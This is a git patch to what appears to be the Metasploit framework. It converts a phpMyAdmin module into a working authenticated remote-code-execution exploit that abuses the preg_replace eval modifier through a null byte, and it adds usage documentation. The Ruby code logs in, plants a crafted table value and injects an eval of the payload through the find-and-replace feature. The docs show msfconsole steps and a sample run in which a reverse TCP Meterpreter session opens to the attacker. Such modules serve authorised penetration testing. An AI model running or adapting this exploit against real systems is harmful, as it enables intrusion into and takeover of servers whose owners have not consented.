From 122ea2ddcbbbb24437e8a452299ec9a507dcf8ec Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 18 Jun 2018 07:33:05 -0500 Subject: [PATCH] Update module, Add docs Changed the module to an exploit module and added documentation. --- .../http/phpmyadmin_null_termination_exec.md | 57 +++++ .../http/phpmyadmin_null_termination_exec.rb | 239 ++++++++---------- 2 files changed, 158 insertions(+), 138 deletions(-) create mode 100644 documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md rename modules/{auxiliary/admin => exploits/multi}/http/phpmyadmin_null_termination_exec.rb (51%) diff --git a/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md b/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md new file mode 100644 index 0000000000..4902a0fae8 --- /dev/null +++ b/documentation/modules/exploit/multi/http/phpmyadmin_null_termination_exec.md @@ -0,0 +1,57 @@ +## Description + +This module exploits a vulnerability in a PHP's `preg_replace()` function +that is used by phpMyAdmin's replace table feature. + + +## Vulnerable Application + +PHP versions before 5.4.6 allow null termination of the `preg_replace` string parameter. + +phpMyAdmin versions 4.6.x (prior to 4.6.3), 4.4.x versions (prior to 4.4.15.7), +and 4.0.x versions (prior to 4.0.10.16) are affected. + + +## Options + +**DATABASE** +This option specifies the database the module will use +when creating a new table as part of the exploit. + + +## Verification Steps + +- [ ] Install vulnerable phpMyAdmin application +- [ ] Create database through phpMyAdmin application +- [ ] `./msfconsole` +- [ ] `use exploit/multi/http/phpmyadmin_null_termination_exec` +- [ ] `set USERNAME ` +- [ ] `set PASSWORD ` +- [ ] `set DATABASE ` +- [ ] `set rhost ` +- [ ] `run` + + +## Scenarios + +### Tested on Windows 7 x64 running phpMyAdmin 4.3.0 on PHP 5.3.8 + +``` +msf5 > use exploit/multi/http/phpmyadmin_null_termination_exec +msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set rhost 172.22.222.122 +rhost => 172.22.222.122 +msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set database +database => +msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > run + +[*] Started reverse TCP handler on 172.22.222.177:4444 +[*] Sending stage (37775 bytes) to 172.22.222.122 +[*] Sleeping before handling stage... +[*] Meterpreter session 2 opened (172.22.222.177:4444 -> 172.22.222.122:49169) at 2018-06-18 07:28:19 -0500 +[-] 172.22.222.122:80 - Failed to remove the table 'spkkw' + +meterpreter > sysinfo +Computer : WIN-V438RLMESAE +OS : Windows NT 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586 +Meterpreter : php/windows +``` diff --git a/modules/auxiliary/admin/http/phpmyadmin_null_termination_exec.rb b/modules/exploits/multi/http/phpmyadmin_null_termination_exec.rb similarity index 51% rename from modules/auxiliary/admin/http/phpmyadmin_null_termination_exec.rb rename to modules/exploits/multi/http/phpmyadmin_null_termination_exec.rb index 37b9287392..993fed21af 100644 --- a/modules/auxiliary/admin/http/phpmyadmin_null_termination_exec.rb +++ b/modules/exploits/multi/http/phpmyadmin_null_termination_exec.rb @@ -3,8 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Report +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -12,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', 'Description' => %q{ phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before - 4.6.3 does not properly choose delimiters to prevent use of the preg_replace e + 4.6.3 does not properly choose delimiters to prevent use of the preg_replace (aka eval) modifier, which might allow remote attackers to execute arbitrary PHP code via a crafted string, as demonstrated by the table search-and-replace implementation. @@ -32,6 +33,17 @@ class MetasploitModule < Msf::Auxiliary [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ], [ 'URL', 'https://www.exploit-db.com/exploits/40185/' ], ], + 'Privileged' => true, + 'Platform' => [ 'php' ], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'BadChars' => "&\n=+%", + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 23 2016')) @@ -39,9 +51,8 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), - OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), - OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin']), - OptString.new('CMD', [ false, "The command to execute", 'uname -a']) + OptString.new('PASSWORD', [ false, "Password to authenticate with", '']), + OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin']) ]) end @@ -50,31 +61,27 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') }) rescue print_error("#{peer} - Unable to connect to server") - return + return Exploit::CheckCode::Unknown end - if res.code != 200 + if res.nil? || res.code != 200 print_error("#{peer} - Unable to query /js/messages.php") - return + return Exploit::CheckCode::Unknown end # PHP 4.3.0-5.4.6 - # Remember that servers with PHP version greater than 5.4.6 - # is not exploitable, because of warning about null byte in regexp + # PHP > 5.4.6 not exploitable because null byte in regexp warning php_version = res['X-Powered-By'] if php_version vprint_status("#{peer} - PHP version: #{php_version}") + if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/ if $1.to_i > 5 return Exploit::CheckCode::Safe - else - if $1.to_i == 5 and $2.to_i > 4 - return Exploit::CheckCode::Safe - else - if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6 - return Exploit::CheckCode::Safe - end - end + elsif $1.to_i == 5 && $2.to_i > 4 + return Exploit::CheckCode::Safe + elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i > 6 + return Exploit::CheckCode::Safe end end else @@ -84,61 +91,51 @@ class MetasploitModule < Msf::Auxiliary # 4.3.0 - 4.6.2 authorized user RCE exploit if res.body =~ /pmaversion = '(\d)\.(\d)\.(.*)';/ vprint_status("#{peer} - phpMyAdmin version: #{$1}.#{$2}.#{$3}") - if $1.to_i > 4 - return Exploit::CheckCode::Safe - end - if $1.to_i == 4 and ($2.to_i < 3 or $2.to_i > 6) - return Exploit::CheckCode::Safe - else - if $1.to_i == 4 and $2.to_i >= 6 and $3.to_i > 2 - return Exploit::CheckCode::Safe + + if $1.to_i == 4 && $2.to_i > 2 && $2.to_i < 7 + unless $2.to_i == 6 && $3.to_i > 2 + return Exploit::CheckCode::Appears end + elsif $1.to_i < 4 + return Exploit::CheckCode::Detected end - if $1.starts_with? '4' - return Exploit::CheckCode::Vulnerable - end - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Unknown end - def run - return if check != Exploit::CheckCode::Vulnerable + def exploit + return unless check == Exploit::CheckCode::Appears uri = target_uri.path vprint_status("#{peer} - Grabbing CSRF token...") + response = send_request_cgi({ 'uri' => uri}) + if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") - end - - if (response.body !~ /"token"\s*value="([^"]*)"/) + elsif (response.body !~ /"token"\s*value="([^"]*)"/) fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") - else - vprint_status("#{peer} - Retrieved token") end token = $1 - post = { - 'token' => token, - 'pma_username' => datastore['USERNAME'], - 'pma_password' => datastore['PASSWORD'] - } + vprint_status("#{peer} - Retrieved token #{token}") vprint_status("#{peer} - Authenticating...") - login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), - 'vars_post' => post + 'vars_post' => { + 'token' => token, + 'pma_username' => datastore['USERNAME'], + 'pma_password' => datastore['PASSWORD'] + } }) if login.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") - end - - if login.redirect? + elsif login.redirect? token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first else fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?") @@ -152,130 +149,96 @@ class MetasploitModule < Msf::Auxiliary 'cookie' => cookies }) - if login_check.body =~ /Welcome to/ + if login_check.nil? + fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") + elsif login_check.body =~ /Welcome to/ fail_with(Failure::NoAccess, "#{peer} - Authentication failed") - else - vprint_status("#{peer} - Authentication successful") end - # - # Create random table and column - # + vprint_status("#{peer} - Authentication successful") - rand_table = Rex::Text.rand_text_alpha(3+rand(3)) - rand_column = Rex::Text.rand_text_alpha(3+rand(3)) + # Create random table and column + rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3)) + rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3)) sql_value = '0%2Fe%00' vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database..."); - create_table_post = { - 'show_query' => '0', - 'ajax_request' => 'true', - 'db' => datastore['DATABASE'], - 'pos' => '0', - 'is_js_confirmed' => '0', - 'fk_checks' => '0', - 'sql_delimiter' => ';', - 'token' => token, - 'SQL' => 'Go', - 'ajax_page_request' => 'true', - 'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\ - "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\ - "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++", - } - create_rand_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, - 'vars_post' => create_table_post + 'vars_post' => { + 'show_query' => '0', + 'ajax_request' => 'true', + 'db' => datastore['DATABASE'], + 'pos' => '0', + 'is_js_confirmed' => '0', + 'fk_checks' => '0', + 'sql_delimiter' => ';', + 'token' => token, + 'SQL' => 'Go', + 'ajax_page_request' => 'true', + 'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\ + "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\ + "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++", + } }) - if create_rand_table.body =~ /(.*)\\n(.*)\\n<\\\/code>(.*)/i + if create_rand_table.nil? || create_rand_table.body =~ /(.*)\\n(.*)\\n<\\\/code>(.*)/i fail_with(Failure::Unknown, "#{peer} - Failed to create a random table") - else - vprint_status("#{peer} - Random table created") end - # + vprint_status("#{peer} - Random table created") + # Execute command - # + command = Rex::Text.uri_encode(payload.encoded) - command = Rex::Text.uri_encode(datastore['CMD']) - - command_payload_data = { - 'columnIndex' => '0', - 'token' => token, - 'submit' => 'Go', - 'ajax_request' => 'true', - 'goto' => 'sql.php', - 'table' => rand_table, - 'replaceWith' => "system%28%27#{command}%27%29%3B", - 'db' => datastore['DATABASE'], - 'find' => sql_value, - 'useRegex' => 'on' - } - - execute_command = send_request_cgi({ + exec_cmd = send_request_cgi({ 'uri' => normalize_uri(uri, 'tbl_find_replace.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, - 'vars_post' => command_payload_data + 'vars_post' =>{ + 'columnIndex' => '0', + 'token' => token, + 'submit' => 'Go', + 'ajax_request' => 'true', + 'goto' => 'sql.php', + 'table' => rand_table, + 'replaceWith' => "eval%28%22#{command}%22%29%3B", + 'db' => datastore['DATABASE'], + 'find' => sql_value, + 'useRegex' => 'on' + } }) - if execute_command.body =~ /(.*);token=(.*)\\"><\\\/a>(.*)\\n","success":true,(.*)/i - - print_good("#{peer} - Output for \"#{datastore['CMD']}\"") - cmd_output = $3.to_s - cmd_output.split('\n').each do |line| - print_good("#{peer} #{line}") - end - - # Report output - report_note( - :rhost => datastore['RHOST'], - :rport => datastore['RPORT'], - :type => "os_command", - :name => datastore['CMD'], - :data => cmd_output - ) - - else - fail_with(Failure::Unknown, "#{peer} - Failed to execute the command") - end - - # # Remove random table - # - vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database") - remove_table_data = { - 'show_query' => '0', - 'ajax_request' => 'true', - 'db' => datastore['DATABASE'], - 'pos' => '0', - 'is_js_confirmed' => '0', - 'fk_checks' => '0', - 'sql_delimiter' => ';', - 'token' => token, - 'SQL' => 'Go', - 'ajax_page_request' => 'true', - 'sql_query' => "DROP+TABLE+`#{rand_table}`" - } - - remove_table = send_request_cgi({ + rm_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, - 'vars_post' => remove_table_data + 'vars_post' => { + 'show_query' => '0', + 'ajax_request' => 'true', + 'db' => datastore['DATABASE'], + 'pos' => '0', + 'is_js_confirmed' => '0', + 'fk_checks' => '0', + 'sql_delimiter' => ';', + 'token' => token, + 'SQL' => 'Go', + 'ajax_page_request' => 'true', + 'sql_query' => "DROP+TABLE+`#{rand_table}`" + } }) - if remove_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i - fail_with(Failure::Unknown, "#{peer} - Failed to remove the random table") + if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i + print_bad("#{peer} - Failed to remove the table '#{rand_table}'") end end end